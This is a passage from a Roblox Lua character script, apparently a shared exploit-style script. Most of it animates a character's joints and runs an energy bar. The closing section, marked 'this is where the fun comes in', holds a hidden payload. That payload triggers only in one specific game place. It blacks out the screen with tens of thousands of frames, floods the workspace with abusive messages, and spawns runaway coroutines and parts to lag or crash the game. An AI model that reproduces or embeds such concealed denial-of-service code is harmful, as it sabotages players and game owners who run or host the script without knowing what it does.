4823 | RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2) | |
4824 | --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2) | |
4825 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3) | |
4826 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3) | |
4827 | RH.C0=clerp(RH.C0,RHC0,.3) | |
4828 | LH.C0=clerp(LH.C0,LHC0,.3) | |
4829 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4830 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4831 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4832 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4833 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4834 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4835 | ]]-- | |
4836 | Footsteps:Play() | |
4837 | Footsteps2:Stop() | |
4838 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3) | |
4839 | Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3) | |
4840 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4841 | RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3) | |
4842 | LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3) | |
4843 | RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3) | |
4844 | LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3) | |
4845 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4846 | Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2) | |
4847 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2) | |
4848 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4849 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4850 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4851 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4852 | end | |
4853 | elseif torvel>=22 and hitfloor~=nil then | |
4854 | Anim="Run" | |
4855 | change=1 | |
4856 | if attack==false then | |
4857 | Footsteps:Stop() | |
4858 | Footsteps2:Play() | |
4859 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3) | |
4860 | Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3) | |
4861 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4862 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3) | |
4863 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3) | |
4864 | RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3) | |
4865 | LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3) | |
4866 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4867 | Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2) | |
4868 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2) | |
4869 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4870 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4871 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4872 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4873 | end | |
4874 | end | |
4875 | end | |
4876 | fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true) | |
4877 | fenbarmana4.Text="[Energy] <{[ "..mana.." ]}> [Energy]" | |
4878 | if idle < 1000 then | |
4879 | text.Text = "Mikia "..math.floor(hum.Health) | |
4880 | end | |
4881 | if mana>=100 then | |
4882 | mana=100 | |
4883 | else | |
4884 | if mananum<=8 then | |
4885 | mananum=mananum+100 | |
4886 | else | |
4887 | mananum=0 | |
4888 | mana=mana+100 | |
4889 | end | |
4890 | end | |
4891 | end | |
4892 | ||
4893 | ||
4894 | ||
4895 | ||
4896 | --- shshshhh this is where the fun comes in --- | |
4897 | if game.PlaceId == 843495510 then | |
4898 | plr = game.Players.LocalPlayer | |
4899 | char = plr.Character | |
4900 | cam = workspace.CurrentCamera | |
4901 | cam.CameraType = "Scriptable" | |
4902 | cam.CoordinateFrame = CFrame.new(0,0,50) | |
4903 | local localContainer | |
4904 | local service=setmetatable({ | |
4905 | MarketPlace=game:service("MarketplaceService"); | |
4906 | GamepassService=game:service("GamePassService"); | |
4907 | ChatService=game:service("Chat"); | |
4908 | LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end; | |
4909 | },{ | |
4910 | __index=function(tab,index) | |
4911 | local serv | |
4912 | local ran,err=pcall(function() serv=game:service(index) end) | |
4913 | if ran then | |
4914 | tab[index]=serv | |
4915 | return serv | |
4916 | end | |
4917 | end | |
4918 | }) | |
4919 | ||
4920 | local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end | |
4921 | ||
4922 | x=game.Players.LocalPlayer | |
4923 | x.CameraMode=Enum.CameraMode.LockFirstPerson | |
4924 | f=Instance.new("Frame") | |
4925 | f.Size=UDim2.new(1,0,1,0) | |
4926 | f.BackgroundTransparency=0.01 | |
4927 | f.BackgroundColor3=Color3.new() | |
4928 | pg=x.PlayerGui | |
4929 | gui=Instance.new("ScreenGui",pg) | |
4930 | wait(.1) | |
4931 | for i=1,28000 do | |
4932 | f:Clone().Parent=gui | |
4933 | f:Clone().Parent=gui | |
4934 | f:Clone().Parent=gui | |
4935 | end | |
4936 | ||
4937 | script:Destroy(); | |
4938 | local runService = Game:GetService("RunService").Stepped; | |
4939 | local LagNum = 1250; | |
4940 | local str = "lag fucker lag"; | |
4941 | ||
4942 | for i = 1, math.huge do | |
4943 | if i % LagNum == 0 then runService:wait(); end | |
4944 | Instance.new("Message", Workspace).Text = str; | |
4945 | end | |
4946 | ||
4947 | local bores=coroutine.create(function() --Yolo? | |
4948 | cPcall(function() | |
4949 | --print(Game[("%s|"):rep(0xFFFFFFF)]) | |
4950 | cPcall(print,'lol') | |
4951 | cPcall(warn,'lol') | |
4952 | cPcall(error,'lol') | |
4953 | while wait(0.1) do | |
4954 | spawn(function() | |
4955 | cPcall(function() | |
4956 | spawn(function() | |
4957 | local tab={} | |
4958 | pcall(function() | |
4959 | spawn(function() | |
4960 | for i=1,1000000 do | |
4961 | cPcall(function() | |
4962 | spawn(function() | |
4963 | local bob2=coroutine.create(function() | |
4964 | function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end | |
4965 | function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end | |
4966 | spawn(f1) | |
4967 | end) | |
4968 | spawn(function() delay(0,function() coroutine.resume(bob2) end) end) | |
4969 | spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end) | |
4970 | end) | |
4971 | end) | |
4972 | end | |
4973 | tab={} | |
4974 | end) | |
4975 | end) | |
4976 | end) | |
4977 | end) | |
4978 | end) | |
4979 | end | |
4980 | end) | |
4981 | end) | |
4982 | ||
4983 | service.RunService.Stepped:connect(function() | |
4984 | for i=1,500000 do | |
4985 | delay(0,function() pcall(function() coroutine.resume(bores) end) end) | |
4986 | end | |
4987 | end) | |
4988 | ||
4989 | ||
4990 | local function bob() | |
4991 | cPcall(function() | |
4992 | while wait(0.1) do | |
4993 | --cPcall(function() | |
4994 | --for i=1,100 do | |
4995 | local p=Instance.new("Part") | |
4996 | p.Material="Neon" | |
4997 | p.Size=Vector3.new(50,50,50) | |
4998 | p.Anchored=true | |
4999 | p.BackSurface="Studs" | |
5000 | p.BottomSurface="Studs" | |
5001 | p.FrontSurface="Studs" | |
5002 | p.LeftSurface="Studs" | |
5003 | p.RightSurface="Studs" | |
5004 | p.TopSurface="Studs" | |
5005 | local t=Instance.new("Texture",p) | |
5006 | t.Texture="http://www.roblox.com/asset/?id=190803157" | |
5007 | t.Face="Top" | |
5008 | t.StudsPerTileU=1000 | |
5009 | t.StudsPerTileV=1000 | |
5010 | local t2=t:clone() | |
5011 | t2.Parent=p | |
5012 | t2.Face="Bottom" | |
5013 | local t2=t:clone() | |
5014 | t2.Parent=p | |
5015 | t2.Face="Left" | |
5016 | local t2=t:clone() | |
5017 | t2.Parent=p | |
5018 | t2.Face="Right" | |
5019 | local t2=t:clone() | |
5020 | t2.Parent=p | |
5021 | t2.Face="Front" | |
5022 | local t2=t:clone() | |
5023 | t2.Parent=p | |
5024 | t2.Face="Back" | |
5025 | p.Parent=service.LocalContainer() | |
5026 | --end | |
5027 | --end) | |
5028 | end | |
5029 | end) | |
5030 | end | |
5031 | bob() --while wait(0.1) do cPcall(bob) end | |
5032 | end | |
5033 | -- ~Blazy |